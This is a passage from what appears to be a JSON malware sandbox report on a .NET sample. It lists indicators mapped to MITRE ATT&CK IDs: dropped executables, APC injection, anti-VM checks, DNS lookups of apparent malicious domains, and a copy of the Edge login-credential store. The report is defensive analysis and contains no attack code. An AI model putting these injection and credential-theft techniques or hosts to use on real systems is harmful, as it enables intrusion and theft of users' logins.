Parser","mitre_attack_id":"T1112","relevance":1,"id":"static-139","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"level":"informative","category":"General","name":"Dotnet code contains ability to query registry","description":"Observed namespace \"Microsoft.Win32.RegistryKey\" and TypeReference \"OpenSubKey\" in \"e9dc3c310187d5aa3a5451c4c6799792b5e6c501da776f0adeaf16302aa84e6e.bin\"","origin":"Static Parser","mitre_attack_id":"T1012","relevance":1,"id":"static-138","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"level":"informative","category":"General","name":"Fails to load modules at runtime","description":"$34","origin":"API Call","mitre_attack_id":"T1574.002","relevance":1,"id":"api-22","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"level":"informative","category":"General","name":"File contains dynamic base/NX flags","description":"\"e9dc3c310187d5aa3a5451c4c6799792b5e6c501da776f0adeaf16302aa84e6e.bin\" has flags like IMAGE_DLLCHARACTERISTICS_NO_SEH\n IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE\n IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE\n IMAGE_DLLCHARACTERISTICS_NX_COMPAT\n \"aafg31.exe\" has flags like IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE\n IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE\n IMAGE_DLLCHARACTERISTICS_NX_COMPAT\n \"latestplayer.exe\" has flags like IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE\n IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE\n IMAGE_DLLCHARACTERISTICS_NX_COMPAT","origin":"Static Parser","id":"static-154","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"level":"informative","category":"General","name":"Found Native API in Dotnet file","description":"Observed unmanaged function \"GetModuleHandle\" in \"e9dc3c310187d5aa3a5451c4c6799792b5e6c501da776f0adeaf16302aa84e6e.bin\"\n Observed unmanaged function \"CheckRemoteDebuggerPresent\" in \"e9dc3c310187d5aa3a5451c4c6799792b5e6c501da776f0adeaf16302aa84e6e.bin\"","origin":"Static Parser","mitre_attack_id":"T1106","relevance":1,"id":"static-101","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"level":"informative","category":"General","name":"GETs files from a webserver","description":"$35","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":5,"id":"network-2","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"level":"informative","category":"General","name":"Loads modules at runtime","description":"$36","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-7","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"level":"informative","category":"General","name":"Loads the .NET runtime environment","description":"\".exe\" loaded module \"%WINDIR%\\assembly\\NativeImages_v4.0.30319_32\\mscorlib\\36eaccfde177c2e7b93b8dbdde4e012a\\mscorlib.ni.dll\" at 711E0000\n \"powershell.exe\" loaded module \"%WINDIR%\\assembly\\NativeImages_v4.0.30319_32\\mscorlib\\36eaccfde177c2e7b93b8dbdde4e012a\\mscorlib.ni.dll\" at 70F80000\n \"powershell.exe\" loaded module \"%WINDIR%\\assembly\\NativeImages_v4.0.30319_32\\mscorlib\\36eaccfde177c2e7b93b8dbdde4e012a\\mscorlib.ni.dll\" at 70FE0000","origin":"Loaded Module","mitre_attack_id":"T1129","id":"module-3","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"level":"informative","category":"General","name":"Loads the Bcrypt module DLL","description":"\".exe\" loaded module \"%WINDIR%\\SysWOW64\\bcryptprimitives.dll\" at 77B40000\n \".exe\" loaded module \"%WINDIR%\\SysWOW64\\bcrypt.dll\" at 72F70000\n \"aafg31.exe\" loaded module \"%WINDIR%\\System32\\bcryptprimitives.dll\" at C2D20000\n \"aafg31.exe\" loaded module \"%WINDIR%\\System32\\bcrypt.dll\" at C2770000\n \"toolspub2.exe\" loaded module \"%WINDIR%\\SysWOW64\\bcryptprimitives.dll\" at 77B40000\n \"31839b57a4f11171d6abc8bbc4451ee4.exe\" loaded module \"%WINDIR%\\SysWOW64\\bcryptprimitives.dll\" at 77B40000\n \"31839b57a4f11171d6abc8bbc4451ee4.exe\" loaded module \"%WINDIR%\\SysWOW64\\bcrypt.dll\" at 72F70000\n \"latestplayer.exe\" loaded module \"%WINDIR%\\SysWOW64\\bcryptprimitives.dll\" at 77B40000\n \"powershell.exe\" loaded module \"%WINDIR%\\SysWOW64\\bcryptprimitives.dll\" at 77B40000\n \"powershell.exe\" loaded module \"%WINDIR%\\SysWOW64\\bcrypt.dll\" at 72F70000","origin":"Loaded Module","mitre_attack_id":"T1027","id":"module-9","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"level":"informative","category":"General","name":"Loads the CLR Loader DLL","description":"\".exe\" loaded module \"%WINDIR%\\Microsoft.NET\\Framework\\v4.0.30319\\clr.dll\" at 726A0000\n \"powershell.exe\" loaded module \"%WINDIR%\\Microsoft.NET\\Framework\\v4.0.30319\\clr.dll\" at 72440000\n \"powershell.exe\" loaded module \"%WINDIR%\\Microsoft.NET\\Framework\\v4.0.30319\\clr.dll\" at 724A0000","origin":"Loaded Module","mitre_attack_id":"T1620","id":"module-7","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"level":"informative","category":"General","name":"Loads the RPC (Remote Procedure Call) module DLL","description":"\".exe\" loaded module \"%WINDIR%\\SysWOW64\\rpcrt4.dll\" at 771E0000\n \"aafg31.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at C5FC0000\n \"toolspub2.exe\" loaded module \"%WINDIR%\\SysWOW64\\rpcrt4.dll\" at 771E0000\n \"31839b57a4f11171d6abc8bbc4451ee4.exe\" loaded module \"%WINDIR%\\SysWOW64\\rpcrt4.dll\" at 771E0000\n \"latestplayer.exe\" loaded module \"%WINDIR%\\SysWOW64\\rpcrt4.dll\" at 771E0000\n \"powershell.exe\" loaded module \"%WINDIR%\\SysWOW64\\rpcrt4.dll\" at 771E0000","origin":"Loaded Module","mitre_attack_id":"T1129","id":"module-10","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"level":"informative","category":"General","name":"Looks up procedures from modules (excluding apphelp.dll, kernel32.dll, user32.dll, gdi32.dll, ole32.dll, comctl32.dll, uxtheme.dll, oleaut32.dll, version.dll, msctfime.ime)","description":"\"19001a000000000040c7cfc3fd7f0000@ntdll.dll\"\n \"220023000000000018c7cfc3fd7f0000@ntdll.dll\"","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-8","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"level":"informative","category":"General","name":"Matched Compiler/Packer signature (DIE)","description":"\"e9dc3c310187d5aa3a5451c4c6799792b5e6c501da776f0adeaf16302aa84e6e.bin\" was detected as \".NET\" and name: \"Library\"\n \"e9dc3c310187d5aa3a5451c4c6799792b5e6c501da776f0adeaf16302aa84e6e.bin\" was detected as \"Microsoft Linker\" and name: \"Linker\"\n \"31839b57a4f11171d6abc8bbc4451ee4.exe\" was detected as \".NET\" and name: \"Library\"\n \"31839b57a4f11171d6abc8bbc4451ee4.exe\" was detected as \"Microsoft Linker\" and name: \"Linker\"\n \"aafg31.exe\" was detected as \".NET\" and name: \"Library\"\n \"aafg31.exe\" was detected as \"Microsoft Linker\" and name: \"Linker\"\n \"latestplayer.exe\" was detected as \".NET\" and name: \"Library\"\n \"latestplayer.exe\" was detected as \"Microsoft Linker\" and name: \"Linker\"\n \"toolspub2.exe\" was detected as \".NET\" and name: \"Library\"\n \"toolspub2.exe\" was detected as \"Microsoft Linker\" and name: \"Linker\"","origin":"Static Parser","mitre_attack_id":"T1027","id":"static-157","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"level":"informative","category":"General","name":"May execute SQL queries","description":"\"Select * from Win32_ComputerSystem\" (Source: e9dc3c310187d5aa3a5451c4c6799792b5e6c501da776f0adeaf16302aa84e6e.bin, Indicator: \"select * from win32_computersystem\")","origin":"File/Memory","mitre_attack_id":"T1005","relevance":1,"id":"string-605","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"level":"informative","category":"General","name":"Overview of unique CLSIDs touched in registry","description":"$37","origin":"Registry Access","mitre_attack_id":"T1546.015","relevance":3,"id":"registry-72","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"level":"informative","category":"General","name":"PE file contains COM data directory","description":"\"e9dc3c310187d5aa3a5451c4c6799792b5e6c501da776f0adeaf16302aa84e6e.bin\" has COM data directory \"IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR\"","origin":"Static Parser","relevance":1,"id":"static-144","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"level":"informative","category":"General","name":"PE file contains Debug data directory","description":"\"aafg31.exe\" has Debug data directory \"IMAGE_DIRECTORY_ENTRY_DEBUG\"\n \"latestplayer.exe\" has Debug data directory \"IMAGE_DIRECTORY_ENTRY_DEBUG\"","origin":"Static Parser","id":"static-146","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"level":"informative","category":"General","name":"PE file contains executable sections","description":"\"e9dc3c310187d5aa3a5451c4c6799792b5e6c501da776f0adeaf16302aa84e6e.bin\" has an executable section named \".text\"\n \"31839b57a4f11171d6abc8bbc4451ee4.exe\" has an executable section named \".text\"\n \"aafg31.exe\" has an executable section named \".text\"\n \"latestplayer.exe\" has an executable section named \".text\"\n \"toolspub2.exe\" has an executable section named \".text\"","origin":"Static Parser","relevance":1,"id":"static-80","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"level":"informative","category":"General","name":"PE file contains writable sections","description":"\"31839b57a4f11171d6abc8bbc4451ee4.exe\" has an writable section named \".data\"\n \"aafg31.exe\" has an writable section named \".data\"\n \"latestplayer.exe\" has an writable section named \".data\"\n \"toolspub2.exe\" has an writable section named \".data\"","origin":"Static Parser","id":"static-95","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"level":"informative","category":"General","name":"PE file entrypoint instructions","description":"$38","origin":"Static Parser","id":"static-96","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"level":"informative","category":"General","name":"PE file has a big raw size section","description":"Raw size of \".text\" is \"0x51fc00\" greater than 0x100000\n Raw size of \".data\" is \"0x3fc000\" greater than 0x100000","origin":"Static Parser","relevance":3,"id":"static-125","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"level":"informative","category":"General","name":"PE file has a big virtual size section","description":"Virtual size of \".text\" is \"0x51fae4\" greater than 0x100000\n Virtual size of \".data\" is \"0x22a1608\" greater than 0x100000\n Virtual size of \".data\" is \"0x1ebbd48\" greater than 0x100000","origin":"Static Parser","relevance":3,"id":"static-124","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"level":"informative","category":"General","name":"PE file has a high image base","description":"\"aafg31.exe\" has high imagebase \"0x100000000\"","origin":"Static Parser","relevance":1,"id":"static-93","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"level":"informative","category":"General","name":"Possibly uses system binaries (Windows LOLbins)","description":"Observed system executable string:\"%WINDIR%\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe\" [Source: 00000000-00005024-00000BC0-44534992]\n Observed system executable string:\"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" [Source: 00000000-00005024-00000C41-22777018896]","origin":"File/Memory","relevance":1,"id":"string-170","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"level":"informative","category":"General","name":"Process launched with changed environment","description":"$39","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":10,"id":"target-67","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"level":"informative","category":"General","name":"Queries DNS server","description":"\"app.nnnaajjjgc.com\"\n \"z.nnnaajjjgc.com\"","origin":"Network Traffic","mitre_attack_id":"T1071.004","relevance":1,"id":"network-51","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"level":"informative","category":"General","name":"Reads Windows Trust Settings","description":"\"aafg31.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\WINTRUST\\TRUST PROVIDERS\\SOFTWARE PUBLISHING\"; Key: \"STATE\")\n \"powershell.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\WINTRUST\\TRUST PROVIDERS\\SOFTWARE PUBLISHING\"; Key: \"STATE\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":5,"id":"registry-20","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"level":"informative","category":"General","name":"Reads information about supported languages","description":"$3a","origin":"Registry Access","mitre_attack_id":"T1082","relevance":3,"id":"registry-25","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"level":"informative","category":"General","name":"References Windows filepaths for DLLs (possible dropped files)","description":"$3b","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-625","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"level":"informative","category":"General","name":"Spawns new processes","description":"Spawned process \"aafg31.exe\" (UID: 00000000-00001296)\n Spawned process \"toolspub2.exe\" (UID: 00000000-00006048)\n Spawned process \"31839b57a4f11171d6abc8bbc4451ee4.exe\" (UID: 00000000-00005024)\n Spawned process \"toolspub2.exe\" (UID: 00000000-00002896)\n Spawned process \"latestplayer.exe\" (UID: 00000000-00007012)\n Spawned process \"powershell.exe\" with commandline \"powershell -nologo -noprofile\" (UID: 00000000-00005060)\n Spawned process \"31839b57a4f11171d6abc8bbc4451ee4.exe\" (UID: 00000000-00006044)\n Spawned process \"powershell.exe\" with commandline \"powershell -nologo -noprofile\" (UID: 00000000-00000100)","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":3,"id":"target-25","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"level":"informative","category":"General","name":"Spawns new processes that are not known child processes","description":"Spawned process \"aafg31.exe\" (UID: 00000000-00001296)\n Spawned process \"toolspub2.exe\" (UID: 00000000-00006048)\n Spawned process \"31839b57a4f11171d6abc8bbc4451ee4.exe\" (UID: 00000000-00005024)\n Spawned process \"toolspub2.exe\" (UID: 00000000-00002896)\n Spawned process \"latestplayer.exe\" (UID: 00000000-00007012)\n Spawned process \"powershell.exe\" with commandline \"powershell -nologo -noprofile\" (UID: 00000000-00005060)\n Spawned process \"31839b57a4f11171d6abc8bbc4451ee4.exe\" (UID: 00000000-00006044)\n Spawned process \"powershell.exe\" with commandline \"powershell -nologo -noprofile\" (UID: 00000000-00000100)","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":3,"id":"target-103","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"level":"informative","category":"General","name":"The input sample possibly contains the RDTSCP instruction","description":"Found VM detection artifact \"RDTSCP trick\" in \"sample.bin\" (Offset: 3465169)","origin":"Binary File","mitre_attack_id":"T1497","relevance":5,"id":"binary-26","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"level":"informative","category":"General","name":"Uses 32 bit executable PE","description":"\"e9dc3c310187d5aa3a5451c4c6799792b5e6c501da776f0adeaf16302aa84e6e.bin\" has flags like IMAGE_FILE_32BIT_MACHINE\n IMAGE_FILE_EXECUTABLE\n \"31839b57a4f11171d6abc8bbc4451ee4.exe\" has flags like IMAGE_FILE_32BIT_MACHINE\n IMAGE_FILE_EXECUTABLE\n \"latestplayer.exe\" has flags like IMAGE_FILE_32BIT_MACHINE\n IMAGE_FILE_EXECUTABLE\n \"toolspub2.exe\" has flags like IMAGE_FILE_32BIT_MACHINE\n IMAGE_FILE_EXECUTABLE","origin":"Static Parser","id":"static-153","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"level":"informative","category":"General","name":"Writes files in a temp directory","description":"\".exe\" writes to a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\aafg31.exe\"\n \".exe\" writes to a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\toolspub2.exe\"\n \".exe\" writes to a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\31839b57a4f11171d6abc8bbc4451ee4.exe\"\n \".exe\" writes to a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\latestplayer.exe\"\n \"powershell.exe\" writes to a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_5iai33tc.5s4.ps1\"\n \"powershell.exe\" writes to a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_rcjn11qk.jc0.psm1\"\n \"powershell.exe\" writes to a file \"C:\\Windows\\Temp\\__PSScriptPolicyTest_tylsl4eh.jq5.ps1\"\n \"powershell.exe\" writes to a file \"C:\\Windows\\Temp\\__PSScriptPolicyTest_iy2n2uqx.xmx.psm1\"","origin":"API Call","mitre_attack_id":"T1005","relevance":1,"id":"api-267","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"level":"informative","category":"Installation/Persistence","name":"Contains ability to load modules (API string)","description":"Found reference to API \"LoadLibraryExW\" (Indicator: \"LoadLibrary\"; File: \"latestplayer.exe.3695084506\")\n Found reference to API \"LoadLibraryW\" (Indicator: \"LoadLibrary\"; File: \"toolspub2.exe.1363130796\")\n Found reference to API \"LoadLibraryExW\" (Indicator: \"LoadLibrary\"; Source: \"00000000-00000100.00000000.70938.01241000.00000002.mdmp, 00000000-00000100.00000000.70938.6EF21000.00000002.mdmp, 00000000-00000100.00000000.70938.6F4C5000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-310","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"level":"informative","category":"Installation/Persistence","name":"Creates a thread in a self process","description":"\".exe\" creates a thread in process \"-1\" (Handle: 4294967295)\n \"aafg31.exe\" creates a thread in process \"-1\" (Handle: 4294967295)\n \"31839b57a4f11171d6abc8bbc4451ee4.exe\" creates a thread in process \"-1\" (Handle: 4294967295)\n \"powershell.exe\" creates a thread in process \"-1\" (Handle: 4294967295)","origin":"API Call","mitre_attack_id":"T1055.003","relevance":3,"id":"api-264","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"level":"informative","category":"Installation/Persistence","name":"Dropped files","description":"$3c","origin":"Binary File","mitre_attack_id":"T1105","relevance":3,"id":"binary-0","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"level":"informative","category":"Installation/Persistence","name":"Opens registry keys","description":"$3d","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-177","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"level":"informative","category":"Installation/Persistence","name":"Queries basic information of the specified process","description":"$3e","origin":"API Call","mitre_attack_id":"T1057","relevance":1,"id":"api-235","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"level":"informative","category":"Installation/Persistence","name":"Queries registry keys","description":"$3f","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-172","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"level":"informative","category":"Installation/Persistence","name":"Queues an Asynchronous Procedure Call (APC) in a remote process (injection)","description":"\"aafg31.exe\" called \"NtQueueApcThread\" (UID: 00000000-00001296)","origin":"API Call","mitre_attack_id":"T1055.004","relevance":3,"id":"api-85","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"level":"informative","category":"Installation/Persistence","name":"Reads files","description":"$40","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-243","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"level":"informative","category":"Installation/Persistence","name":"Shows ability to use execution guardrails","description":"The analysis shows indicators which can be used as execution guardrails to ensure that payload only executes against intended targets/system. Matched sigs: Possibly tries to implement anti-virtualization techniques\n Matched sigs: Contains ability to retrieve the time elapsed since the system was started (API string)\n Matched sigs: The input sample possibly contains the RDTSCP instruction\n Matched sigs: Contains ability to delay the execution of current thread","origin":"Indicator Combinations","mitre_attack_id":"T1480","relevance":1,"id":"summary-29","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"level":"informative","category":"Installation/Persistence","name":"Touches files","description":"\".exe\" trying to touch file \"C:\\Windows\\System32\\WOW64LOG.DLL\"\n \".exe\" trying to touch file \"C:\\Windows\\SysWOW64\\mscoree.dll\"\n \".exe\" trying to touch file \"C:\\Windows\\SysWOW64\\apphelp.dll\"\n \".exe\" trying to touch file \"C:\\e9dc3c310187d5aa3a5451c4c6799792b5e6c501da776f0adeaf16302aa84e6e.exe\"\n \".exe\" trying to touch file \"C:\\Windows\\SysWOW64\\ntdll.dll\"\n \".exe\" trying to touch file \"C:\\Windows\\SysWOW64\\kernel32.dll\"\n \".exe\" trying to touch file \"C:\\Windows\\SysWOW64\\KernelBase.dll\"\n \".exe\" trying to touch file \"C:\\Windows\\apppatch\\sysmain.sdb\"\n \".exe\" trying to touch file \"C:\\Windows\\Temp\\VxSSL32.dll\"","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-263","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"level":"informative","category":"Installation/Persistence","name":"Touches files in the Windows directory","description":"\".exe\" touched file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Microsoft\\Windows\\Caches\"\n \".exe\" touched file \"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches\"\n \"aafg31.exe\" touched file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Microsoft\\Windows\\INetCache\"\n \"aafg31.exe\" touched file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Microsoft\\Windows\\INetCookies\"\n \"aafg31.exe\" touched file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Microsoft\\Windows\\History\"\n \"aafg31.exe\" touched file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Microsoft\\Windows\\INetCache\\IE\\4EKOOWYY\\imagd[1].jpg\"\n \"aafg31.exe\" touched file \"%LOCALAPPDATA%\\Microsoft\\Windows\\INetCache\"\n \"aafg31.exe\" touched file \"%LOCALAPPDATA%\\Microsoft\\Windows\\INetCookies\"\n \"aafg31.exe\" touched file \"%LOCALAPPDATA%\\Microsoft\\Windows\\History\"\n \"aafg31.exe\" touched file \"%LOCALAPPDATA%\\Microsoft\\Windows\\INetCache\\IE\\4EKOOWYY\\imagd[1].jpg\"\n \"powershell.exe\" touched file \"C:\\Windows\\System32\\CatRoot\"\n \"powershell.exe\" touched file \"C:\\Windows\\System32\\catroot2\"","origin":"API Call","mitre_attack_id":"T1083","relevance":7,"id":"api-55","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access non-existent files (executable)","description":"$41","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-126","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access non-existent files (non-executable)","description":"$42","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-161","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"level":"informative","category":"Installation/Persistence","name":"Writes files","description":"\".exe\" writes file \"c:\\users\\%osuser%\\appdata\\local\\temp\\aafg31.exe\"\n \".exe\" writes file \"c:\\users\\%osuser%\\appdata\\local\\temp\\toolspub2.exe\"\n \".exe\" writes file \"c:\\users\\%osuser%\\appdata\\local\\temp\\31839b57a4f11171d6abc8bbc4451ee4.exe\"\n \".exe\" writes file \"c:\\users\\%osuser%\\appdata\\local\\temp\\latestplayer.exe\"\n \".exe\" writes file \"c:\\users\\%osuser%\\appdata\\local\\microsoft\\clr_v4.0_32\\usagelogs\\e9dc3c310187d5aa3a5451c4c6799792b5e6c501da776f0adeaf16302aa84e6e.exe.log\"\n \".exe\" writes file \"%localappdata%\\microsoft\\clr_v4.0_32\\usagelogs\\e9dc3c310187d5aa3a5451c4c6799792b5e6c501da776f0adeaf16302aa84e6e.exe.log\"\n \"aafg31.exe\" writes file \"c:\\users\\%osuser%\\appdata\\local\\microsoft\\windows\\inetcache\\ie\\4ekoowyy\\imagd[1].jpg\"\n \"aafg31.exe\" writes file \"c:\\users\\%osuser%\\appdata\\local\\microsoft\\edge\\user data\\default\\login data111\"","origin":"API Call","relevance":1,"id":"api-242","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"level":"informative","category":"Installation/Persistence","name":"Writes log files","description":"$43","origin":"API Call","mitre_attack_id":"T1074.001","relevance":1,"id":"api-159","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"level":"informative","category":"Network Related","name":"Calls an API typically used to retrieve the URL data","description":"\"aafg31.exe\" called \"InternetReadFile\" with parameter 2000000 (UID: 00000000-00001296)","origin":"API Call","mitre_attack_id":"T1105","relevance":3,"id":"api-118","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"level":"informative","category":"Network Related","name":"Calls an API typically used to send the specified request to the HTTP server","description":"$44","origin":"API Call","mitre_attack_id":"T1071.001","relevance":2,"id":"api-190","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"level":"informative","category":"Network Related","name":"Calls an API typically used to to receive the response to a HTTP requests","description":"$45","origin":"API Call","mitre_attack_id":"T1071.001","relevance":2,"id":"api-191","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"level":"informative","category":"Network Related","name":"Calls an API used to connect to internet","description":"\"aafg31.exe\" called \"InternetOpenA with parameter HTTPREAD\" (UID: 00000000-00001296)","origin":"API Call","mitre_attack_id":"T1071.001","relevance":1,"id":"api-199","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"level":"informative","category":"Network Related","name":"Communicates with HTTP webserver (GET/POST requests)","description":"$46","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":1,"id":"network-62","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"level":"informative","category":"Network Related","name":"Contains ability to communicate with network (API string)","description":"Found reference to API \"HttpOpenRequestA\" (Indicator: \"HttpOpenRequest\"; File: \"latestplayer.exe.3695084506\")\n Found reference to API \"InternetOpenUrlA\" (Indicator: \"InternetOpen\"; File: \"latestplayer.exe.3695084506\")\n Found reference to API \"InternetOpenW\" (Indicator: \"InternetOpen\"; File: \"latestplayer.exe.3695084506\")\n Found reference to API \"InternetOpenA\" (Indicator: \"InternetOpen\"; File: \"latestplayer.exe.3695084506\")\n Found reference to API \"HttpSendRequestA\" (Indicator: \"HttpSendRequest\"; File: \"latestplayer.exe.3695084506\")\n Found reference to API \"InternetConnectA\" (Indicator: \"InternetConnect\"; File: \"latestplayer.exe.3695084506\")\n Found reference to API \"InternetReadFile\" (Indicator: \"InternetReadFile\"; File: \"latestplayer.exe.3695084506\")\n Found reference to API \"WSAStartup\" (Indicator: \"WSAStartup\"; Source: \"00000000-00005024-00000C26-36483572\")","origin":"File/Memory","mitre_attack_id":"T1071","relevance":1,"id":"string-601","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"level":"informative","category":"Network Related","name":"Contains ability to create a HTTP or FTP session (API string)","description":"Found reference to API \"InternetConnectA\" (Indicator: \"InternetConnect\"; File: \"latestplayer.exe.3695084506\")","origin":"File/Memory","mitre_attack_id":"T1071","relevance":1,"id":"string-538","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"level":"informative","category":"Network Related","name":"Contains ability to create a new HTTP request (API string)","description":"Found reference to API \"HttpOpenRequestA\" (Indicator: \"HttpOpenRequest\"; File: \"latestplayer.exe.3695084506\")","origin":"File/Memory","mitre_attack_id":"T1071","relevance":1,"id":"string-537","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"level":"informative","category":"Network Related","name":"Contains ability to create/connect to a named pipe (API string)","description":"Found reference to API \"PeekNamedPipe\" (Indicator: \"PeekNamedPipe\"; File: \"latestplayer.exe.3695084506\")","origin":"File/Memory","mitre_attack_id":"T1559","relevance":1,"id":"string-210","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"level":"informative","category":"Network Related","name":"Contains ability to download a file from a URL (API string)","description":"Found reference to API \"InternetReadFile\" (Indicator: \"InternetReadFile\"; File: \"latestplayer.exe.3695084506\")","origin":"File/Memory","mitre_attack_id":"T1105","relevance":1,"id":"string-241","sources":[{"report_type":"sandbox","report_id":"64ea1c080e9e0d3a860f441c"}]},{"level":"informative","category":"Network Related","name":"Contains reference to Windows internet services (API string)","description":"Found reference to API \"InternetOpenUrlA\" (Indicator: \"InternetOpen\"; File: \"latestplayer.exe.3695084506\")\n Found 